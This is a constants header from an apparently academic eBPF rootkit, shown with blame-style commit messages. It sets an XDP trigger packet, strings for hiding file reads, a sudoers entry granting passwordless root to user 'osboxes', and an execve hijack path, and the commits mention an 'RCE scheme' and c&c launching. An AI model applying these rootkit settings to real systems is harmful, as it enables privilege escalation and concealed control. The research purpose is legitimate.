src/common/constants.h

#ifndef __CONSTANTS_H
#define __CONSTANTS_H

//XDP
#define SECRET_PACKET_PAYLOAD "XDP_PoC_0"
#define SECRET_PACKET_DEST_PORT 9000
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"


//FS
#define STRING_FS_HIDE "This won't be seen"
#define STRING_FS_OVERWRITE "That is now hidden"

#define STRING_FS_SUDO_TASK "sudo"
#define STRING_FS_SUDO_TASK_LEN 5
#define STRING_FS_SUDOERS_FILE "/etc/sudoers"
#define STRING_FS_SUDOERS_FILE_LEN 13
#define STRING_FS_SUDOERS_ENTRY "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
#define STRING_FS_SUDOERS_ENTRY_LEN 37

//EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
#define EXEC_HIJACK_ACTIVE_TEMP 1

#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1

#endif
Finished adapting the client. Cleaned the user code and added getopt. The filter fully works now. Next step: return data to userspace via a map. 2021-11-22 20:02:47 -05:00			`#ifndef __CONSTANTS_H`
			`#define __CONSTANTS_H`

Completed output modification of sys_read. Created a simple PoC 2022-01-16 06:45:45 -05:00			`//XDP`
Made it work with an arbitrary length payload. Generalization with constants.h, now the PoC can be used for any shrinking/enlarging value. Discovered a very curious bug 2021-11-27 17:01:10 -05:00			`#define SECRET_PACKET_PAYLOAD "XDP_PoC_0"`
Further refactored code and dealt with the verifier issues with string comparisons 2021-11-24 12:17:31 -05:00			`#define SECRET_PACKET_DEST_PORT 9000`
Fixed the client, now the payload shrinking is fully working, also the bug previously found seems to be nothing but an error of mine. Ready to merge! 2021-11-27 19:08:38 -05:00			`#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"`
Finished adapting the client. Cleaned the user code and added getopt. The filter fully works now. Next step: return data to userspace via a map. 2021-11-22 20:02:47 -05:00
Added new hooks and updated map fields to support new sudo module. 2022-02-05 13:49:20 -05:00
Completed output modification of sys_read. Created a simple PoC 2022-01-16 06:45:45 -05:00			`//FS`
			`#define STRING_FS_HIDE "This won't be seen"`
			`#define STRING_FS_OVERWRITE "That is now hidden"`

Added new hooks and updated map fields to support new sudo module. 2022-02-05 13:49:20 -05:00			`#define STRING_FS_SUDO_TASK "sudo"`
			`#define STRING_FS_SUDO_TASK_LEN 5`
			`#define STRING_FS_SUDOERS_FILE "/etc/sudoers"`
			`#define STRING_FS_SUDOERS_FILE_LEN 13`
Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted 2022-02-18 09:08:54 -05:00			`#define STRING_FS_SUDOERS_ENTRY "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"`
			`#define STRING_FS_SUDOERS_ENTRY_LEN 37`
Added new hooks and updated map fields to support new sudo module. 2022-02-05 13:49:20 -05:00
Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done 2022-02-06 14:15:57 -05:00			`//EXECUTION HIJACKING`
Now the execve hijacker works without needing a canalizer. Removed it. Also some additional tweaks to the c&c launching of the helper 2022-02-19 11:57:32 -05:00			`#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"`
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes 2022-05-07 10:36:46 -04:00			`#define EXEC_HIJACK_ACTIVE_TEMP 1`

			`#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"`
			`#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1`
Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done 2022-02-06 14:15:57 -05:00
Finished adapting the client. Cleaned the user code and added getopt. The filter fully works now. Next step: return data to userspace via a map. 2021-11-22 20:02:47 -05:00			`#endif`